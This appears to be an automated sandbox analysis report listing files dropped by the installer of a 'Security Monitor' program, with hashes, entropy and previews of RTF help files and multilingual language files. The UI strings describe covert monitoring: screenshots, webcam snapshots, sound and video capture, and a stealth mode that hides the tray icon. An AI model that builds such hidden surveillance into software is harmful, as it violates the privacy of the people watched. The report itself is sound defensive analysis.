SSDEEP:	768:qqFke4jXLHT2njX8x3TLjwUtqYepAkVZEdvI9voCgsKBd79zqfAx4thgC4jFBo73:qqYGoCgkQ8FIA9r
MD5:	79EAEF5F915091EA8A19A2D69C8312D9
SHA1:	E91E254C7772330094955B8F32835A703BD9483C
SHA-256:	D992C215B1031E0EB2BDF2262505BC1FA9E4C7DB122E31A0F63587C98427FFDD
SHA-512:	BE93BC4A17261703097AFB8F3044F4C0D0BEA076EFD694F7A166CF843BD143B951041FFF54F3A1D60869EA4DAA7EBC3E35D56C25BE991D218403A7D0B9B2C0AD
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\pano

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	41676
Entropy (8bit):	5.05075856281513
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2rvx6qk0oDHvZlLMKFZ/6A9d:BvrUneKrsIA9d
MD5:	CE47EF60A1B6296B4770FEE4454B1E06
SHA1:	5B17759D122086E5E02A32BFB947A8746EF3076D
SHA-256:	9BB74EA64A2AAEC3470E7EE10C1EE4CA70AC357CB6DDF9D6C810869B7A18BB25
SHA-512:	2727839D56824EF21AB7F3340649483F576665EE1B561A2FD72ED31158B6FE2B854880558E991DF5F9B48125A8E85A1E3D88623C0282151285FBCA5470FFE7EA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	43859
Entropy (8bit):	5.052664414201202
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2G+xnd9MfUcL2L5Mc5255cRHjVlPw2:BvrUneKGsIA9B
MD5:	F7320542A3AFF0FC824E6C8D5CA74FBC
SHA1:	F3C273969AC71FB411A5677D23898B7FE0633BFF
SHA-256:	FAAAACD62FDB8F2901ACD5D39CB2D54B9A728B463900AE08916DE586EE9CD521
SHA-512:	8CD8ED594846968FD2932A0E396E4DD1833EC10C4CF4F187C80BE34378E55605AC190EE87A1A47AB335BF19764640FEC14F4A9CE7C5893877EAA995FADBC18BA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	52996
Entropy (8bit):	5.037460927420348
Encrypted:	false
SSDEEP:	768:Bk31e0/Yzc00QfHyUCp5N7G5V5V5h5G5P5N5TRrbGY+FNSdE2CUuHctO9P0CS0t0:BV0kIA9I
MD5:	77A17A8F48C96F611F14429D732C1F73
SHA1:	FE3F09AF1390F0C2F780A172450B3CCF54A09CD0
SHA-256:	F2B98A3175FC09320625C396606DA5058A192A5AF54A0C61D491E5FCB7EC96C4
SHA-512:	3A3AE1E13D1E24081A3913B34638DA25DC2FF39BBFB3151464B0E330828D9A3E3AB876E546E90C11E858FF1611F02686874D1106AF59A79F6399EC5DA7F60C26
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \from

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	46778
Entropy (8bit):	5.04213022372363
Encrypted:	false
SSDEEP:	768:BbO4jB7F2njX8x3nF9k6Bvtk+k1pJKOQBX0hUH/EIvx9WahytOAnkWiwaTdnkmDk:B1hKIA9N
MD5:	F60A5BBD42D01BA5BE2200C53152A370
SHA1:	D5F8ED456623E3D8B44D6D87EDC705A0A27D0382
SHA-256:	7E5BED54A681A9701FBD6B6C12A4A53594DECD4B60AE8087DB96DCAD23DDF72C
SHA-512:	C66DA1A5D293F957A84B9B787B5487CD38A04DE39B4B955E1214954FE64FE14654265F942991A77816DB83BBED95818D1F5EE825B8C5AADD60B2A48EC1CEC841
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	43450
Entropy (8bit):	5.051452976930654
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2DKxwaOqBdLE0aWsaeyXH62lGFcaZl:BvrUneKD/IA9B
MD5:	843D629B19FC6C1C760CCCF79DCD8778
SHA1:	E1FD65A3F296C7F966AD9A3CA7C6C970127FCC04
SHA-256:	369458B9EAD9880E66B906332948AE38AEB74173BB24FEFD65B18438FECFCD23
SHA-512:	0C3E239B14888868A2F5FB95A7446E22460819B6DE4C2AE8C23C1E31C25D4FC4B9A04D861ED516A975A8397DB621BA517AB29606FBEAFBD70E7A6131D2604D58
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	42483
Entropy (8bit):	5.0516758116152145
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2DqxxqAJ7iYH2qlyTU6Z/6A9r:BvrUneKDZIA9r
MD5:	4419419BD2ABBE30C63B730ADA875674
SHA1:	2946FB19C980B330C1B4719AE6F915520709D99D
SHA-256:	180D6187E16BE50A3649B861A5FB7580F0AE99E949FBE0EAC05FBB5B17BD6F99
SHA-512:	2656094851AFBF719ECC12DE1AAA73C2040DA4FCCD7B4AB4E0FB6130472E606C5F8010A1D58C6D015F5DD8A71DB7C6E14811229FF2360F3D26BFAC4E737CE6A5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	43674
Entropy (8bit):	5.051136691912746
Encrypted:	false
SSDEEP:	768:Bwq6xdo1SeUGLicPI0QhhiLVptabQhOsWx2s2x7yjxsqoLq2IDSssDSsaD0iHw8V:BErUneKsyIA90
MD5:	03D5DC91896BD88D15D82608B85FA10A
SHA1:	741A620D22C4A157211C2972E53AF6C402E00036
SHA-256:	0EB740A746A33237558E99DA3599DE9DE975F7CE6C8988CE3E602C89E130BCFD
SHA-512:	5C211CC5A33A7590C5ECF2BCBE479A0EE1AD56CA300D136A752F6BF26CEEC2643825EDC3896550E21C436DB2B76AB895818BF4C9B3EF12E3E481374E322E37EB
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42553
Entropy (8bit):	5.039163820303254
Encrypted:	false
SSDEEP:	768:qqOkDx1eVGh+DoLLXI1nhDGi3w2EHlT2njX8x3DldDMomI6u5DumZ/6A9X:qqb5nIA9X
MD5:	34E55F7E9F1B2541BE0A17FB6871F9C9
SHA1:	C9E188BCC39C88251CE9CBBA13E20F7BCA48F89F
SHA-256:	B02273E5A9A45909D24B7349E45BE521B9421CB93CE1803BAE7B4FA317443376
SHA-512:	D2C86622CD0726F5A480D11A3734C742D82853467CF3C1FB36F9ADE0873227862E26C366B8DD1E45B8D48F6AF62BA22FCD2C4C8FEEEEC6740B290F3E814ED65D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-0FCJK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	19337
Entropy (8bit):	5.025077721740106
Encrypted:	false
SSDEEP:	384:USTHedgI9UbHmTZCmfwoxKza62zxpZ6EV00azBKh:U0I2bH2kRKKzwxpZnj4Kh
MD5:	7EB33A9C085F56E0004E166D1702EEA1
SHA1:	C8C514993F866C3282F2E53C231E5961EE8E3B90
SHA-256:	F96F92DFCD7C119EBD998989312F009D9ABA9E5C3A5B7899A8DD146370F5AFC4
SHA-512:	BA7B7716AD33D71247CEE9CC8B630BBA9B948654D366A892D5F1471B4A5FAD908A774600E8577223FFC043D4BD620BFC4222D2CC833B2AD1DF13CF7ADA5A203E
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Start"..tbStartHint="Erfassung aktivieren"..tbStop="Stop"..tbStopHint="Erfassung deaktivieren"..tbFind="Finden"..tbFindHint="Nach Protokoll Informationen suchen"..tbSetting="Einstellungen"..tbSettingHint="Programm Einstellungen"..tbAbout=".ber"..tbAboutHint=".ber/ Informationsinfo"..tbHomePage="Home Page"..tbHomePageHint="Gehen Sie zum Programm Home Page"..tbToday="Heute"..tbTodayHint="Gehen Sie zum heutigen Protokoll"..tbHide="Verstecken"..tbHideHint="Stelth Modus (Kein Icon im Systempfad)"..tbMinimize="Minimieren"..tbMinimizeHint="Auf Ablage minimieren"..tbExit="Ausgang"..tbExitHint="Ausgang und Protokollstopp"..gbLog="Vorgangsprotokoll"..tCurrLogSize="Protokollgr..e (Mb)"..tCurrScrSize="Screenshots Gr..e (Mb)"..tCur

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-7OID3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	20359
Entropy (8bit):	4.977393911384311
Encrypted:	false
SSDEEP:	384:Ui/yM5JVBb8Mc2MfcwNx0TiTtGNleNglf8sj1AzDqqSo:UFGYD+icNleNhcIGqd
MD5:	3115ABE2CF8075BB08D1B7EA95180E7E
SHA1:	752F7833223EDB298E903C9731E78A3109E026D3
SHA-256:	156C2CDE62ABF6D9289B85054F707FA8777A722EC2DDBC0615544A216E633133
SHA-512:	C5DE077A294349896E2D846808806AF67B9E29E7EC1358B763A8F66381F839983A4ADE4C751A8A36C84EE20E8ADD1E5F869759000F527284F4312D9803617BC3
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Commencez"..tbStartHint="Activez le journal de bord"..tbStop="Arr.tez "..tbStopHint="D.sactivez le journal de bord"..tbFind="Trouvez"..tbFindHint="Recherchez des informations dans le journal de bord"..tbSetting="Param.tres"..tbSettingHint="Les param.tres du programme"..tbAbout=". propos"..tbAboutHint=". propos / informations de journal de bord"..tbHomePage="Page d'accueil"..tbHomePageHint="Allez . la page d'accueil du programme"..tbToday="Aujourd'hui"..tbTodayHint="Allez dans journal de bord d.aujourd'hui"..tbHide="Masquez"..tbHideHint="Le mode furtif (pas d'ic.ne dans la zone de notification)"..tbMinimize="Minimisez"..tbMinimizeHint="Minimisez au magasin"..tbExit="Quittez"..tbExitHint=" Quittez et arr.tez le jour

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-ADU5J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12536
Entropy (8bit):	4.8846461435532245
Encrypted:	false
SSDEEP:	384:UCTESqmmj063sRDYVLf0Xj/KgqYFP6ez7zUc4:UMmj93sRD80zDt4
MD5:	772446C6263F1055F474A1AE2EFF7A11
SHA1:	E3C521C7105C860D8139030D2363647821E593D7
SHA-256:	E346F5CE552A3E5216E2826D86C64135372B51EA74BF4DE468C442A43B1F3E63
SHA-512:	FCD7A0EB648B02F9FED9F50078A197EE4C6BC1451AF6CFDD5A0376B42EA2F448B2D9C09560ACFDAA959707762F2E36470C470D33C10290274BC04BF58B15B2BE
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Start"..tbStartHint="Abilita logging"..tbStop="Stop"..tbStopHint="Disabilita logging"..tbFind="Trova"..tbFindHint="Cerca informazioni di log"..tbSetting="Impostazioni"..tbSettingHint="Impostazioni programma"..tbAbout="Circa"..tbAboutHint="Circa / informazioni di registrazione"..tbHomePage="Home Page"..tbHomePageHint="Vai alla Home Page del programma"..tbToday="Oggi"..tbTodayHint="Vai al log di oggi"..tbHide="Nascondi"..tbHideHint="Modalit. Stealth (nessuna icona nella barra delle applicazioni)"..tbMinimize="Minimizza"..tbMinimizeHint="Minimizza nel Tray"..tbExit="Esci"..tbExitHint="Esci e ferma il log"..gbLog="Log Eventi"..tCurrLogSize="Dimensioni correnti Log (Mb)"..tCurrScrSize="Dimensioni correnti Screenshot (Mb)"..tMaxL

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-C0ARR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	17468
Entropy (8bit):	4.879377232061119
Encrypted:	false
SSDEEP:	192:f9xAt+/MjlJ/5mOT3Y7hzjeJRz1QIGiGU/F6lDCDjY3qfTmXq6Cf3CxMprBarJKW:f9xAt+/YJRm7hzjqRzlXjUo7Qgo7c8DD
MD5:	C3930BE227C51A5887BFB0F6D8575548
SHA1:	D6A32283BC35FE18207EDAE4626D5D299CE50592
SHA-256:	E50FDC95BC49000FF5DC52A830925CEDF684B2F7100397BFB22D8D5430E920F0
SHA-512:	F42F25DAC17F0096CA2EA998E0B84A1A8CFFABAB5256C24DAAA1210F50DB43D903D481C64C98250EB7A5297684582D085540EA445F6E7156DBA3ADC42410AA57
Malicious:	false
Reputation:	unknown
Preview:	[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Start"..tbStartHint="Enable logging"..tbStop="Stop"..tbStopHint="Disable logging"..tbFind="Find"..tbFindHint="Search for log information"..tbSetting="Settings"..tbSettingHint="Program settings"..tbAbout="About"..tbAboutHint="About / registration info"..tbHomePage="Home Page"..tbHomePageHint="Go to the Program Home Page"..tbToday="Today"..tbTodayHint="Go to todays log"..tbHide="Hide"..tbHideHint="Stealth mode (no icon in the System Tray)"..tbMinimize="Minimize"..tbMinimizeHint="Minimize to Tray"..tbExit="Exit"..tbExitHint="Exit and stop log"..gbLog="Event Log"..tCurrLogSize="Log Size (Mb)"..tCurrScrSize="Screenshots Size (Mb)"..tCurrSnpSize="Webcam Snapshots size (Mb)"..tCurrSoundsSize="Sound files size (Mb)"..tCurrVideosSize="W

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-F6EVE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	15013
Entropy (8bit):	6.013025249187838
Encrypted:	false
SSDEEP:	192:9DL/YIoCnMY+innEvlPTgFQXU516bXHsFAp/JfloqJPeNKi:9DL/YIoCnMMnEpEXyb3cAtJfav
MD5:	98FE3D6DA49E6A81B5C6A5D5ABF2E69A
SHA1:	A90458B40E3559466180B29822E0E83CC3000632
SHA-256:	FB966B8124C5CEDCEC536B5DFE54168F7AA07DC9717D4099EA67A8DF72342F50
SHA-512:	EA826D7205C882B74D20A4A0499A2966F47BD88CE01326D55B105BAA267606FE0F5C20F995762CC5E320F1273E4C06B0E6840815F2E2601A59CF7F3B12B25372
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### ....... "=".......! ############..###############################################################################..tbStart=".."..tbStartHint="...."..tbStop=".."..tbStopHint="...."..tbFind=".."..tbFindHint="......"..tbSetting=".."..tbSettingHint="...."..tbAbout=".."..tbAboutHint=".. / ...."..tbHomePage=".."..tbHomePageHint="......"..tbToday=".."..tbTodayHint="......"..tbHide=".."..tbHideHint="................"..tbMinimize="..."..tbMinimizeHint="......"..tbExit=".."..tbExitHint="......."..gbLog="...."..tCurrLogSize="....(Mb)"..tCurrScrSize="......(Mb)"..tCurrSnpSize=".........(Mb)"..tCurrSoundsSize="...... (Mb)"..tCurrVideosSize=".

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-H3CKS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	17281
Entropy (8bit):	5.761139641515786
Encrypted:	false
SSDEEP:	384:fA4WN9lOQy166uXz7tw7ROcW70cfgjqiK3xuaMV4Q:fAfy1LuntiROcWLNuaMVt
MD5:	BAF8BBC333EA4877FF98E6EC0437E18F
SHA1:	43FE338508BA6B1E59B5B0D21A641DEB4F887F82
SHA-256:	32CAC64ABA0B7BEC0C48D76CE6D6C3695E241173CAD408C4F2F220CB5AE6A87B
SHA-512:	5E2ED8A0DF57200E7FD2FF5F1F21041A3800AE92C66B550B91116D0E50685C3602467C738601D071049B1D3E74ED92DB2DAE5CE6D33F9776F8C2F62AA2E36C1E
Malicious:	false
Reputation:	unknown
Preview:	[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart=".."..tbStartHint=".. .."..tbStop=".."..tbStopHint=".. ...."..tbFind=".."..tbFindHint=".. .. .."..tbSetting=".."..tbSettingHint=".... .."..tbAbout=".."..tbAboutHint=".. / .. .."..tbHomePage="...."..tbHomePageHint=".... ..... .."..tbToday=".."..tbTodayHint=".. ... .."..tbHide=".."..tbHideHint="... .. (... .... ... .. ..)"..tbMinimize="..."..tbMinimizeHint=".... ..."..tbExit=".."..tbExitHint=".... .. .."..gbLog="... .."..tCurrLogSize=".. .. (Mb)"..tCurrScrSize=".... .. (Mb)"..tCurrSnpSize=".. .

